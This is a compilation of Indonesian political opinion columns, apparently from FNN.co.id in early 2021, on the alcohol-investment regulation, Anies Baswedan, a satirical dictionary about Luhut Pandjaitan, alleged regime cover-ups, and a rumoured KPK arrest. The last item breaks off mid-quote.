Pemerintahan Joko Widodo (Jokowi) sejak awal di tahun 2014 adalah menelurkan salah satu semangat yang bernama “revolusi mental”. Kalau revolusi mental diibaratkan sebuah deary, tak ada siapa pun yang bisa terburu-buru menyediakan diri sebagai alamat semangat itu ditujukan. Tetapi begitu digaungkan oleh Pemerintahan Negara, maka “revolusi mental” adalah ajakan terbuka yang dialamatkan semua putra putri Indonesia, untuk menempatkan cara memaknai penghancuran rasa pesimis yang merayapi mental pembangunan. Dimulai dengan kerja cepat dan kerja keras, yang merujuk pada akhir abad 18 dan abad 19 sebagai kiblat pemikiran pembangunan. Kemajuan akhirnya dipercaya punya akar mendalam pada sikap yang dirujuki. Bukan saja pada bakat yang lahir secara alami. Sekarang, infrastruktur itu telah digerakkan secara besar-besaran sejak 2015. Tetapi pada akhirnya muncul pertanyaan, untuk apa dan kepada siapa yang menyebabkan gerakan pembangunan infrastruktur secara besar-besaran tersebu? Mengapa infrastruktur ada di mana-mana, tetapi hanya sedikit orang yang melihat tagline membangun dari pinggiran itu? Juga bagaimana upaya membayar utang ketertinggalan infrastruktur tersebut kalau tak mau mendapat azab revolusi mental? Sekedar sebagai pemanis, ini gambar buku karya kami (Edisi Januari 2021), setelah menelusuri latar belakang pengakuan petani, pedagang, dan guru-guru besar di sejumlah kampus tentang membangun infrastruktur dari pinggiran. Pada buku ini, kami memaparkan kisah infrastruktur bagaikan jalan menuju cakrawala yang lebih lebar dalam merajut nusantara. Mempersatukan bangsa, dengan otoritas yang belum tentu dicapai oleh penulis lain. Penulis adalag Wartawan Senior FNN.co.id.

Kiyai Ma’ruf Sembunyikan Kaget Miras, Pembatalan oleh Jokowi Harus Dikawal Terus

by Asyari Usman Medan, FNN - Ada berita menarik. Wapres Kiyai Ma’ruf Amin mengaku kaget dengan Perpres 10/2021 tentang investasi produksi minuman keras (miras). Kata juru bicara Wapres, Masduki Baidowi, Pak Kiyai tidak tahu Perpres itu diterbitkan. Menurut Masduki, Kiyai Ma’ruf sangat tersudut akibat penerbitan Perpres miras itu. Tapi, rasa kaget Pak Kiyai baru dibeberkan kemarin, Selasa, 2 Maret 2021. Rasa kaget itu disimpan dulu. Diungkapkan setelah Presiden Jokowi mengumumkan pencabutan Perpres yang diprotes keras dan luas itu. Lumayanlah. Walaupun kaget itu disembunyikan dulu, tetap wajar dihargai. Beliau, kata Masduki, sengaja tutup mulut karena tak ada gunanya bicara dalam kondisi panas. Kata Masduki, Kiyai Ma’ruf melakukan berbagai usaha agar investasi miras dibatalkan. Nah, ternyata Pak Kiyai berusaha keras tanpa suara keras agar polemik minuman keras tidak makin keras. Jangan dulu menyangka Pak Kiyai diabaikan oleh Jokowi ketika membuat Perpres Miras itu. Buktinya, sebelum pengumuman pencabutan, Jokowi bicara dulu empat mata dengan Pak Kiyai, kata Masduki lagi. Begitu lebih-kurang posisi Pak Kiyai sebagai Wapres terkait penerbitan Perpres Miras. Nah, apakah sudah selesai? Tampaknya belum. Para pengamat dan pakar hukum masih skeptis. Tidak percaya terhadap pencabutan lisan Lampiran III tanpa pencabutan Perpres 10/2021 itu secara total. Per hari ini, para pengamat dan pakar hukum itu memperingatkan bahwa pencabutan Lampiran III di Perpres 10/2021 tentang investasi minuman keras (miras), jangan dulu dianggap sebagai jawaban untuk protes. Pencabutan lampiran itu tidak bisa dijadikan jaminan bahwa miras tidak akan diproduksi. Pencabutan itu harus diperjelas oleh pemerintah. Sebab, sewaktu-waktu bisa saja gagasan produksi miras dimunculkan kembali. Alasan mereka, di Perpres itu masih tetap terbuka investasi untuk bidang usaha yang memerlukan persyaratan tertentu. Pakar dan peniliti hukum Dr Muhammad Taufiq memperingatkan, produksi miras bisa saja dilakukan atas nama otonomi daerah oleh pemda-pemda. Meskipun Lampiran III sudah dibatalkan. Malahan, kata dia, proses pendirian usaha miras di daerah bisa lebih mudah lagi. Sedangkan asisten profesor hukum di Universitas Islam Internasional Malaysia, Sonny Zulhuda, memperingatkan bahwa ketentuan pembolehan bisnis miras masih tercantum di regulasi induknya yaitu UU No. 11/2020 tentang Cipta Kerja alias Omnibus Law. Jadi, para ulama dan semua pimpinan ormas yang menentang produksi miras harus terus mengawal pencabutan aturan investasi miras di Perpres 10/2021. Ada kemungkinan main akal-akalan di pihak penguasa. Bisa saja nanti ada klaim bahwa pencabutan itu hanya secara lisan oleh Jokowi. Tidak memenuhi landasan hukum untuk meniadakan produksi miras.[] Penulis adalah Wartawan Senior FNN.co.id.

Setelah Investasi Miras, Batalkan Juga Semua Regulasi Lain Yang Beratkan Rakyat

by Asyari Usman Medan, FNN - Kita sampaikan apresiasi kepada Presiden Jokowi yang telah mencabut aturan tentang investasi minuman keras (miras). Aturan itu tercantum di dalam Perpres 10/2021 yang ditandatangani pada 2 Februari 2021. Alhamdulillah, tidak ada lagi kegaduhan tentang produksi minuman keras yang diberlakukan di empat provinsi yaitu Bali, NTT, Sulut dan Papua. Langkah Jokowi ini sesuai dengan permintaan semua elemen masyarakat. Alhamdulillah juga Presiden mau mendengarkan protes dari rakyat. Begini kata Jokowi tentang pencabutan bagian Perpres 10/2021 yang mendorong produksi miras itu. "Setelah menerima masukan-masukan dari ulama-ulama MUI, Nahdlatul Ulama NU, Muhammadiyah dan ormas-ormas lainnya, serta tokoh-tokoh agama yang lain, dan juga masukan-masukan dari provinsi dan daerah," ujar Jokowi. Mari jadikan ini sebagai ‘turning point’ (titik balik) untuk menghapuskan semua regulasi yang memberatkan rakyat. Persis seperti yang dikatakan Pak Jokowi tentang penolakan ormas-ormas terhadap aturan investasi miras, mereka juga meminta agar semua regulasi yang memberatkan rakyat ikutdi dilenyapkan. Misalnya, hingga sekarang rakyat tetap menuntut agar UU Cipta Lapangan Kerja dibatalkan. Kalau pun dengan berbagai alasan ini tidak mungkin dilakukan, Presiden Jokowi minimal bisa memerintahkan revisi UU Nomor 11 Tahun 2020 itu. Sebab, begitu banyak aspek yang kontroversial di UU Omnibus Law tsb. Yang merugikan rakyat dan lingkungan hidup, ketenagakerjaan, pendidikan dan bidang pers. Sekarang ini, UU ITE yang membungkam ruang kritik seharusnya dicabut saja dulu sambil menunggu revisi. Sebab, kritik-kritik positif yang diperlukan oleh penyelenggara pemerintahan menjadi tertekan. Orang tidak berani berbicara. Bangsa ini menjadi ketakutan. Para penulis senantiasa waswas. Setidak-tidaknya UU ITE itu dikembalikan ke tujuan awal dan asalnya. Yaitu, mengejar transaksi-transaksi keuangan yang merguikan negara. Sekali lagi, pencabutan ketentuan investasi miras sangat tepat dan pantas diapresiasi. Rakyat menunggu penghentian penggunaan pasal-pasal karet UU ITE. Semoga terealisasi segera.[] Penulis adalah Wartawan Senior FNN.co.id.

Pak Anies Menjemput Saya di Ruang Tunggu

Pak Governur Indonesia Anies Baswedan datang menjemput saya di ruang tunggu Rumah Dinas Gubernur DKI Jakarta. Saya seperti terlonjak dari tempat duduk. Sebab di tempat tersebut, sekitar 7-8 tahun yang lalu saya kerap datang. Ketika itu Pak Jokowi masih menjabat sebagai Gubernur DKI. by Nanik S. Deyang Jakarta FNN - Beberapa hari lalu, saat saya di kampung seorang sahabat malam-malam menilpon."Dey ikut yuukkk ketemu Pak Anies". Waduh saya yang mau merem pules, jadi terlonjak ..."saya ini di pedalaman ndeso Bang. Maaf nggak bisa ikut. Padahal saya mau memberi masukan ke Pak Gub lho. Ya suah, begini saja Bang. Sampaikan saja salam saja ya ke beliau. Nanti kalau pas saya ke Jakarta, dan bila beliau nggak repot, saya mau mampir," jawab saya ke kawan wartawan senior dari berasal dari Timur Indonesia, yang sudah saya anggap seperti Abang saya ini, sejak sama-sama menjadi wartawan di awal tahun 1990-an, dan meliput berita di beberapa kementerian (Kehutanan, Pertanian, Perindustrian, Perdagangan dan Bulog). Kamis minggu lalu, saat saya mendarat di Jakarta, seperti biasa saya bersay hello ke semua teman. Hanya untuk memberitahu kalau saya sudah di Jakarta, termasuk ke Abang. "Bang saya di Jakarta ya, kalau sempat sampaikan salam ke Pak Gub, saya mau ngobrol untuk urusan orang kampung saja" … Dengan kesibukan saya di Jakarta, yang dari pagi sampai malam, hampir nggak nginjakkan kaki di rumah, saya juga lupa kalau saya telepon "Abang" untuk bisa mampir ke tempat Pak Anies. Nah, kemarin seperti biasa, sebelum balik kampung saya ngudak pasar Tanah Abang dengan Evelin. Biasa cari-cari "bekal" utk dibawa lagi ke kampung. Eh, saat jarum jam menunjukkan pukul 15.45 WIB, si Abang nelpon, "Dey, dimana kau? Ini Pak Gub terima kau pukul 5 sore nanti", kata Abang buru-buru. Nah celoko aku. Kalau begitu waktu yang tersisa, tinggal satu jam lima belas menit lagi. Ala makjang, terus bagaimana ceritanya ini? Saya yang cuma pakai kaos abal-abal dan celana jeans plus sandal masak mau menghadap pejabat? Bang, saya ini di Tanah Abang, kondisi jalannya muacet banget. Badan dah bau apek, gimana ya Bang?"...."Eh Dey, udahlah kau beli baju aja di situ dan ganti di sini (nama cafe di di Jalan Cokrominoto Menteng). Abang tunggu kau di sini ya", kata Abang. Wah ya sudah, saya dan Evelin lari terbirit -birit keluar dari gedung Blok A Tanang Abang. Pas saya mau cari-cari baju, Evelin ngingetin, kalau di tas yang biasa saya bawa di mobil, selain alat shalat mukena, pasti ada blazer. Ya sudah kaos kumal dan jeans ditutup aja pakai blazer. Namun pas kami sampai lobi Blok A Tanang Abang, langsung lemes lihat kemacetan yang menggila. Apalagi sopir saya ternyata parkirnya di lantai 11. Padahal tau sendiri kan kalau jam -jam segitu kayak apa parkir di blok A? Kalau mau turun pasti macet banget. Saya telepon si Abang .."Bang gimana nih? Parkir mobil saya di lantai 11 dan parkir gedung macet, karena kan jalan di depan macet banget tuh. Sampai nggak ya sebelum jam 5 saya ke situ”? "Udahlah Dey, tenang aja, kamu ke sini aja, saya tunggu. Nanti Abang antar ke tempat Pak Gub. Awas, jangan sampai kau nggak datang ya, aku tunggu ya", pesan si Abang menyemangati. Setelah berdiri sekitar 40 menit dan kaki mulai pegel, nongol juga akhirnya mobil saya di lobi, dan Alhamdulillah ditambah Evelin salah mendengar nama café, sehingga salah mengarahkan driver. Pas pukul 5 sore saya sampai di tempat cafe dimana Abang menunggu saya. "Dey Dey, itu ada kamar mandi. Kau bisa ganti baju dan cuci muka di situ", kata Abang sambil tertawa ngakak lihat penampilanku yg amburadul. Set..set...lima menit cuci muka dan pakai blazer, langsung saya ajak Abang untuk berangkat, karena sudah telat ."Tenang aja Dey, Abang udah telepon staf Pak Gub kalau kita agak telat". Sampai di rumah Dinas Pak Gub, jarum jam menunjukkan pukul 17.25 WIB. Karena belum shalat ashar, dan lupa bawa mukena ketika turun dari mobil, saya kemudian pinjam mukena ke pengurus rumah tangga Pak Gub utk shalat Ashar yang suah telat. Selesai shalat ashar, saya dan Abang diswab antigen dulu (maklum, sekarang standart bertemu pejabat pemerintah memang harus diswab dulu ). Selama beberapa hari ini, saya bertemu pejabat, saya pasti diswab. Jadi, saya punya koleksi hasil swab nih. Sekitar 10 menit setelah hasil swab keluar, dan tentu negative ya, nggak nyangka Pak Gubernur muncul di ruang tunggu, dan menjemput kami dengan hangat ...Masya Allah, saya sampai melongo dan linglung.... Seumur-umur biasanya kalau mau ketemu pejabat, kita disuruh nunggunya berlapis-lapis. Misalnya, dari ruang tunggu, baru ke ruang tamu, setelah itu biasanya baru dibawa masuk ke ruang pertemuan dangan sang pejabat. Setelah menunggu untuk kesekian lama lagi, baru pejabatnya muncul. “Hai Mbak, waduh saya harus ketemu nih soalnya katanya Selasa dah balik lagi kampung", sapa Pak Gubernur ramah. Saya makin tercengang, karena diantara kesibukannya memantau curah hujan dan potensi banjir, kok ya ingat saat diberitahu bahwa Selasa ini saya memang harus balik blusukan lagi ke kampung2.... Piye cah, opo aku nggak bangga dan bahagia punya Gubernur semanak (ramah) kayak gini? Wis, nggak usah tak tulis pujianku banyak-banyak pada Pak Gub. Nanti dikira saya lagi framing Pak Gub atau lagi menjilat ha ..ha .. ha.. haaaaa.. Pak Gub mengajak kami untuk ngobrol di teras dalam menghadap ke taman. Ini mungkin keajaiban hidup saya. Sebab 7-8 tahun lalu saat Pak Jokowi masih menjadi Gubernur DKI, saya dulu sering duduk di tempat dan kursi yang semalam saya duduki, bahkan dangan posisi yang persis sama. Apakah ini pertanda alam? Mbuhlah. Semalam karena saya memang membawa misi urusan rakyat kecil ndeso, akibatnya jadi saya yang paling mendominasi ngomong dalam pertemuan lebih dari dua jam tersebut (biasa tukang jual obat kalau ngomongin orang susah, suka nggak bisa direm..ha ..ha..ha). Satu hal lagi, Pak Anies ini pendengar yang baik, dan sangat mencatat serta merekam dengan sangat baik masukkan dibenak beliau. Meski yang saya sampaikan kadang berupa kritikan....kiritakan yang luar biasa keras!!! Hampir jarang saya bertemu pejabat yang mau dikritik! Soal misi apa yg saya bawa? Nanti-nanti saja ya ceritanya. Yang jelas, nggak jauh dengan urusannya orang susah di ndeso. Intinya saya minta tolong Pak Gubernur agar Jakarta yang selama ini bahan makanannya dikuasai oleh produk impor, termasuk beras, selanjutnya bisa diperbanyak "impor" dari luar propinsi DKI saja. Misalnya, ada harga sayur-mayur yang jatuh di satu daerah, saya minta tolong Pak Gub untuk nanti membantu penyerapannya dangan cara bisa masuk ke pasar Jakarta. Allhamdulillah, selama ini yang sudah merajai pasar Jakarta adalah telur dari Blitar. Semoga nanti semua kebutuhan pangan DKI tak lagi disubsitusi dari impor. Tetapi cukup dari masyarakat pedesaan di propinsi lain. Between ada yngg menarik dari dua jam lebih saya bicara dengan Pak Anies itu, sekitar 50 persen saya menggunakan bahasa Jawa. Kadang memang kelakuan saya sebagai orang ndeso ini yang agak norak. Semua orang tak ajak ngomong Jawa. Lha, nggak taunya kok beliau ini lebih halus bahasa Jawanya dari saya, dan ternyata suka nonton wayang juga ...ha ...ha .. haaaa.. Udah ceritanya gitu aja ya. Saya di Jakarta ini memang banyak ketemu pejabat untuk urusan kaum sudra. Jadi, jangan mikir Copras,Ciprus, Cepris –Capres dulu. Tetapi kalau mau jujur, Gubernur DKI ini memang patut diperhitungkan, soalnya puinter pol abis, dan saya kaget-kaget saat beliau bercerita bagaimana bersama Timnya mengatasi banjir dalam hitungan 4-6 jam kering. Wis, nggak usah diceritakan banyak-banyak soal ngatasi banjir ini. Nanti saja. Ntar ada yang baper lagi. Yang keren juga, aku kayak pejabat. Sama Abang, diantar Pak Anies sampai halaman rumah Dinas. Ya Allah ya robbi, jangan pernah berubah ya Pak Anies, nanti kalau sudah jadi orang yang lebih gedhe lagi. Soalnya, dulu saya sering punya kawan waktu masih "biasa-biasa" aja baik banget sama saya, eh giliran dah jadi orang penting, kayak nggak kenal lagi sama saya. Mau ketemu saja ruwet amit. Penulis adalah Wartawan Senior.

Kamus Luhut: Luhutocracy, Luhutomatic, Luhumotional, Luhutergy, Luhudictive, dll

by Asyari Usman Medan, FNN - Belum lama ini, Menko Marvest Luhut Pandjaitan agak tersinggung ketika pengusaha retail, Chairul Tandjung (CT), menyindir dengan istilah 4-L: “Luhut lagi, Luhut lagi”. Persis. Luhut memang sangat terkenal. Beliau merambah ke mana-mana di kabinet Jokowi. Dia juga terkenal dengan julukan “apa-apa China, apa-apa China”. Tak diragukan, nama ini tak akan pernah lenyap. Paling-paling menghilang sebentar. Kemudian muncul lagi. Luhut sudah menjadi “household name” (semua orang tahu). Sampai-sampai ada rumor bahwa sejumlah penerbit internasional akan memasukkan kata “luhut” ke dalam kamus-kamus Inggris. Hasil observasi menunjukkan “luhut” ada di semua bidang kehidupan di negeri ini: ekonomi, sosial, politik, hankam, bisnis, pertanian, suasana kantor, psikologi, kedokteran, tekanan darah, penyakit jantung, lingkungan hidup, dlsb. Pokoknya, semua sendi kehidupan diwarnai oleh “luhut”. Karena itu, kata “luhut” diprediksi akan mendunia. Wajar masuk kamus. Berikut ini entry kata “luhut” beserta semua turunan (derivasi) kata ini. Kami definisikan arti, makna, maupun tafsirannya. Sebagian disertai dengan contoh pemakaian dalam kalimat. Selamat menyimak. === LUHUT: adalah nama yang digunakan di Sumatera. Biasanya, orang dengan nama ini memiliki kecerdasan lebih dalam banyak hal. Pada awal abad ke-21, seseorang dengan nama Luhut mendominasi pemerintahan Indonesia. LUHUTER: 1)pengikut Luhut, 2)penggemar Luhut; bentuk jamaknya ‘luhuters’. LUHUTIAN: 1)planet Luhut (mirip dengan Martian yang berarti planet Mars); 2)bisa juga berarti era Luhut; 3)masa-masa keemasan Luhut. LUHUTONIC: obat kuat penambah tenaga dan stamina supaya bisa sering marah; suplemen ini bagus bagi para pejabat yang ingin sukses memarahi orang. LUHUDONESIA: 1)sebutan lain Indonesia; 2)Indonesia yang berciri keluhutan; 3)Indonesia yang didominasi Luhut. LUHUTOCRACY: 1)sistem pemerintahan presidensial yang dikendalikan seorang menteri; 2)bisa juga berarti demokrasi suka-suka hati. LUHUTOCRATIC: 1)demokrasi yang dijalankan sekehendak hati; 2)demokrasi presidensial yang dikendalikan seorang superminister; 3)sistem pemerintahan kebonekaan yang mengutamakan keluguan. LUHUTONOMIC: 1)perekonomian yang berorientasi pada keinginan China; 2)perekonomian yang mengutamakan modal China; 3)perekonomian yang serba China. LUHUTIASTIC: 1)antusias pada Luhut; 2)semangat keluhutan yang tinggi. Contoh kalimat: “They are very luhutiastic in discussing luhutonomic in Luhudonesia that based on luhutocracy.” LUHUTISTIC: 1)keindahan yang melebihi makna ‘artistic’; 2)keindahan yang terbentuk dari kondisi asal-asalan, sentuhan halus, sentuhan kasar, jelek-jelek cantik, dlsb; semua berbaur menjadi satu; 3)statistik model Luhut. LUHUTIST: 1)orang yang berhaluan luhut atau berpaham keluhutan; 2)sama dengan luhuter; 3)seniman keluhutan; LUHUTISM: paham atau aliran yang didasarkan pada ajaran atau kehendak Luhut. LUHUTOMETER: alat untuk mengukur pengaruh Luhut (pL) di dalam diri seseorang; satuan ukuran ini disingkat “Ltm”; skala ukurannya dari 10 sampai 100; misalnya, pL si Badu 45-Ltm; pL si Unyil 80-Ltm, dst. LUHUTOMATIC: tombol yang dipasang di semua gedung pemerintah yang membuat semua staf ‘luhuter’ bekerja keras untuk menyukseskan hegemoni China. LUHUTOMOTIVE: indutsri otomotif yang bahan bakunya dari kayu, bambu, dan rotan. Di salah satu negara Asia Tenggara, ‘luhutomotive’ adalah pabrik mobil Esemka yang dibuat untuk kepentingan kampanye politik. LUHUDICT: 1)orang yang kecanduan terhadap semua hal yang berkaitan dengan luhut atau keluhutan; 2)orang yang sangat setia pada luhut atau keluhutan. LUHUDICTIVE: ‘zat fiksional’ yang membuat orang kecanduan dengan luhut atau keluhutan. LUHUTERGY: alergi yang muncul bila mendengar berita soal luhut. LUHUTIONAL: 1)memiliki arti yang lebih dalam dari makna ‘rational’; 2)akal sehat yang bercampur dengan sifat keras kepala, merasa benar sendiri, mau menang sendiri, orang semuanya salah; 3)mengandung arti “harus begini”, “tidak boleh begitu”, dll. Singkatnya, “Pikiran sayalah yang bagus”. LUHUTIONALLY: 1)sesuai dengan akal keluhutan; 2)dari segi akal keluhutan. Contoh pemakaian dalam kalimat: “Luhutionally speaking, all luhuters will always be luhudict to luhutistic works that embody luhutism Luhudonesia.” LUHUTHORITY: 1)kekuasaan yang sangat besar di tangan satu orang; 2)seorang menteri yang merangkap banyak jenis pekerjaan; 3)dalam istilah colloquial (bahasa pasaran), ‘luhuthority’ juga bermakna ‘remote control untuk presiden lugu’. LUHUMOTIONAL: 1)emosi keluhutan; 2)kemarahan atau kejengkelan yang sangat dalam; 3)cepat marah; atau suka mengatakan, “Siapa dia, rupanya?” atau “Mau apa dia?”, dll. LUHUMOTIONALLY: terkait atau berkenaan dengan emosi keluhutan. Contoh kalimat: “When you take luhutonic regularly, there will be a big possibility that you will become luhumotionally luhutiastic.” LUHUTRESS: 1)ketegangan atau stress yang terkait dengan Luhut; 2)bisa juga berarti ‘tensi darah naik gara-gara Luhut’. LUHUTOCARDIOSIS: sakit jantung karena tertekan di bawah kekuasaan Luhut. LUHUREXIA: penyakit tak selera makan karena faktor Luhut. LUHUREXIC: seseorang yang terkena penyakit luhurexia; gejalanya antara lain sering mual karena terlalu banyak membaca berita tentang ‘luhut’. LUHUTOXIN: racun semua urusan, disingkat racun Semur. Racun Semur disebut racun karena konsentrasi kekuasaan pada satu orang sangat merusak sistem administrasi negara; akibatnya, tidak tercapai ‘good governance’. LUHUTOXIC: 1)memiliki sifat racum Semur; 2)tercemar racun Semur. LUHUTAINLESS: 1)tidak bisa dipengaruhi oleh pemikiran atau tindakan Luhut; 2)bisa menangkal ketakutan pada Luhut. Contoh pemakaian dalam kalimat: “They have a very strong luhutainless character.” Artinya, “Mereka memiliki karakter antitakut pada luhut yang sangat kuat”. LUHUTOSPHERE: 1)lapisan atmosfir di atas Indonesia yang diincar oleh China; 2)semua penjuru ruangan bersuasana keluhutan. LUHUTOSFEAR: 1)suasana ketakutan yang menyelumuti semua instansi sipil; 2)rasa takut kehilangan jabatan karena ada seorang superminister yang bisa mengangkat atau memecat setiap pejabat tinggi kapan saja. LUHUVESTMENT: 1)investasi yang seluruhnya datang dari China; 2)investasi yang mengutamakan modal dari China; 3)sistem investasi yang mengharuskan semua proyek yang dibiayai asing dikerjakan oleh negara asing itu. LUHUTOURISM: 1)pariwisata yang mengutamakan wisatawan dari China; 2)orang-orang China yang masuk dengan visa kunjungan atau tanpa visa tetapi bisa bekerja bebas. LUHUFTHANSA: perusahaan penerbangan Jerman yang dibeli paksa oleh pengusaha Indonesia dengan gertak dan marah-marah. LUHUTIC: bersifat atau mengandung sifat keluhutan. LUHUTICAL: sesuatu yang mengandung sifat keluhutan. Contoh: “The very luhumotional luhutist is so luhutical that only luhudictive can stop him from becoming luhutoxic.” LUHUTICALLY: 1)secara keluhutan; 2)dari segitu keluhutan. Contoh kalimat: “All luhuters are naturally luhutical, but luhutically speaking they’re not luhutiastic once their luhutonic effect runs out.” LUHUTREMIST: orang yang sangat keras dalam keluhutan. LUHUTREMISM: 1)paham keluhutan yang keras; 2)penafsiran yang sangat keras dari paham keluhutan (luhutism). Untuk sementara, inilah kata-kata baru turunan (derivasi) dari “luhut” yang bisa kami tulisakan di sini. Kemungkinan banyak lagi yang bisa Anda tambahkan.[] Penulis adalah Wartawan Senior FNN.co.id.

Biar Semua Hilang

TAHUN 1986 telinga kita pernah dimanjakan lagu berjudul Biar Semua Hilang yang dinyanyikan oleh Nicky Astria. Lirik yang romantis dibalut dengan musik slow rock dan dibawakan oleh artis berbakat bersuara merdu, sungguh paduan yang sangat menghibur. Kini di era milenial, ada nada sumbang tentang episode Biar Semua Hilang. Kali ini tak lagi bercerita soal romantisme cinta, tak pula dibawakan oleh artis berkualitas. Lagunya pun tak lagi enak didengar. Lagu yang diputar sekarang merupakan orkrestra dan perpaduan antara hukum, politik, dan kekuasaan dalam membangun kekuasaan yang cenderung fasis. Mereka bersekongkol untuk menjalankan praktik politik penghilangan. Dari penghilangan pasal-pasal undang-undang, penghilangan barang bukti, hingga penghilangan nyawa manusia. Para pelakunya seakan kehilangan nalar, hingga hilang harga diri. Merekalah “artis” berbakat yang pintar mengelak dalam menghadapi tuduhan kejahatan. Lagu mereka terbaca dengan jelas dan gamblang. Sebuah produk kekuasaan yang diawali dengan kecurangan akan ditutupi dengan kecurangan baru, dan disempurnakan dengan kecurangan yang lain. Itulah rezim tak percaya diri namun rakus. Hilangnya nama Politikus PDIP Ihsan Yunus dalam dakwaan dua penyuap Menteri Sosial Juliari Peter Batubara yang sudah dibacakan jaksa di Pengadilan Tipikor Jakarta Rabu 24 Februari 2021 adalah bukti nyata hukum berada pada telunjuk jari mereka. Ke mana telunjuk digerakkan, ke situlah arah yang dikehendaki. Padahal, dalam rekonstruksi perkara yang digelar tim penyidik Komisi Pemberantasan Korupsi (KPK) nama Ihsan Yunus sangat terang. Tabiat penghilangan ini tampaknya bakal menjadi cara efektif mengelak dari kejahatan. Sebelumnya pola “hilang” terjadi pada koruptor Harun Masiku, anggota DPRI dari Fraksi PDIP. Masiku adalah penyuap anggota KPU Wahyu Setiawan agar ia bisa menggantikan almarhum Nazarudin Kiemas menjadi anggota DPR itu hilang sejak 9 Januari 2020. Sampai sekarang Masiku belum ketemu. Gelagat “Biar Semua Hilang” juga bakal menimpa Madam Bansos dalam kasus Juliari Batubara dan King Maker dalam kasus Jaksa Pinangki. Aromanya menyengat dan menusuk hidung bahwa dalam kasus-kasus yang “sensitif” harus ada upaya penghilangan agar tak menyentuh jantung operator korupsi. Penghilangan 6 nyawa laskar FPI adalah kecurangan yang sangat nyata. Inilah puncak kezaliman yang sulit dimaafkan. Namun bagi rezim, hal seperti ini kategori persoalan lumrah dan biasa. Wajahnya tampak lugu dan polos, tanpa pernah merasa berdosa. Tempat Kejadian Perkara (TKP) di KM 50 tol Jakarta-Cikampek kini sudah rata dengan tanah. Tak ada lagi barang bukti yang bisa dihadirkan ke pengadilan. Maklum penghilangan demi penghilangan sudah lancar dilakukan secara masif dan terencana sejak rezim ini bertengger di kursi kekuasaan. Kita pasti masih ingat ayat tembakau yang dihilangkan oleh DPR RI. Otaknya anggota DPRI RI dari PDIP, Ribka Tjiptaning. Ayat yang dihilangkan adalah ayat (2) UU Kesehatan yang berbunyi “Zat adiktif sebagaimana dimaksud pada ayat (1) meliputi tembakau, produk yang mengandung tembakau, padat, cairan, dan gas yang bersifat adiktif yang penggunaannya dapat menimbulkan kerugian bagi dirinya dan/atau masyarakat sekelilingnya.” Ayat ini sengaja dihilangkan agar rokok disamakan dengan jajanan lainnya yang tidak mengandung zat adiktif. Padahal, sejatinya rokok bersifat adiktif, karsinogenik, mematikan (tobacco kills), dan menyebabkan aneka ragam penyakit. WHO menyebut, rokok adalah pembunuh yang kini dianggap ’bukan basa-basi’. Setiap 6 detik satu orang meninggal karena merokok. Ahli-ahli kesehatan di dunia membuktikan merokok penyebab 90% kanker paru pada laki-laki dan 70% pada perempuan, penyebab 22% dari penyakit jantung dan pembuluh darah (kardiovaskular), penyebab kematian yang berkembang paling cepat di dunia bersamaan dengan HIV/AIDS. Bayangkan, ayat tentang bahaya rokok yang sangat nyata, dimutilasi dari UU Kesehatan. Jahat bukan? Sanksi penghilangan sebetulnya diatur dalam KUHP. Ahli hukum R. Soesilo dalam bukunya Kitab Undang-Undang Hukum Pidana (KUHP) serta Komentar-Komentarnya Lengkap Pasal Demi Pasal memberikan penjelasan terkait Pasal 233 KUHP (hal. 179), yaitu bahwa kejahatan dalam pasal ini terdiri dari tiga macam: Sengaja menghancurkan dan sebagainya barang yang digunakan untuk meyakinkan atau menjadi bukti bagi kuasa yang berhak (bukti bagi hakim perdata dan hakim pidana). Orang dengan sengaja menyembunyikan orang yang telah melakukan kejahatan atau yang dituntut karena sesuatu kejahatan, atau menolong orang untuk melarikan diri dari penyelidikan dan pemeriksaan atau tahanan oleh polisi dan yustisi. Rezim ini sudah sangat liberal memanjakan kehendaknya, hingga lupa amanah penderitaan rakyat. Maka, tolong DPR dan MPR sesekali menengok media sosial, perkumpulan ibu-ibu, majelis taklim, warung pojok dan semua orang yang peduli nasib masa depan bangsa ini. Simak keluhan mereka, hayati kekecewaan mereka, dan respons tuntutan mereka bahwa sesungguhnya rezim ini sudah tidak layak dipercaya. Inilah rezim yang menjalankan praktek kekuasaan (machtsstaat) bukan negara hukum (reechtstaat). Semua yang kritis diberangus dengan kekuasaan absolut. Perangkat hukum dipakai untuk menggebuk dan mengurung rakyat. Sungguh bukan cara yang bijak, arif dan fair. Maka wahai DPR MPR segeralah bersidang untuk memakzulkan presiden, karena ini cara yang baik, sesuai UU dan minim risiko. Tunaikanlah kewajibanmu. Jangan kau hanya menikmati haknya belaka. Jika dulu kau mendapat stempel dari rakyat 3 D (Datang Duduk Diam), sekarang datang pun tidak, apalagi duduk. Musim pandemi hanya melegitimasi diamnya kalian yang tetap mingkem menyaksikan kezaliman yang amat nyata. (sws)

OTT Gubernur Sulsel, "Nama-nama Besar" Bakal Terseret?

by Mochamad Toha Surabaya, FNN - Sebuah kabar beredar di grup WhatsApp, pada Sabtu, 27 Februari 2021. Pukul: 01.00 Wita, Tim KPK sebanyak 9 orang telah melakukan OTT kepada Gubernur Sulawesi Selatan M. Nurdin Abdullah, di rumah jabatan Gubernur berdasarkan Sprindik No: Sprin.Lidik-98/01/10/2020. Tim KPK telah mengamankan beberapa orang antara lain: 1. Agung Sucipto (Kontraktor, 64 tahun); 2. Nuryadi (Sopir Agung, 36); 3. Samsul Bahri (Adc Gubernur, Polri, 48); 4. Edy Rahmat (Sekdis PU Provinsi Sulsel); 5. Irfandi (Sopir Edy Rahmat). Barang bukti yang diamankan oleh Tim KPK, yaitu 1 (satu) koper yang berisi uang sebesar Rp. 1 miliar yang diamankan di Rumah Makan Nelayan Jl. Ali Malaka, Kecamatan Ujung Pandang, Kota Makassar. Tim KPK kemudian langsung membawa Nurdin Abdullah dan Rombongan langsung ke Klinik Transit di Jl. Poros Makassar untuk dilakukan pemeriksaan Swab antigen untuk persiapan berangkat ke Jakarta melalui Bandara Sultan Hasanudin. Tim KPK dan Rombongan dikawal oleh 4 orang Anggota Detasemen Gegana Polda Sulsel yang dipimpin Iptu Cahyadi. Pada pukul 05.44 Wita rombongan itu selesai melaksanakan pemeriksaan Swab antigen dan menuju Bandara Sultan Hasanudin. Rombongan itu kemudian terbang ke Jakarta menggunakan Pesawat Garuda GA-617 pada pukul 07.00 Wita. Kabar ini langsung merebak di berbagai media online maupun elektronik. Namun, Juru Bicara Gubernur Sulsel Veronica Moniaga secara tegas membantah. Veronica Moniaga membantah bahwa Nurdin Abdullah terkena OTT KPK, karena yang bersangkutan sedang beristirahat saat petugas datang ke rumah jabatan di Makassar, Sabtu (27/2/2021) dini hari. “Terkait bapak gubernur terkena operasi tangkap tangan, itu tidak benar. 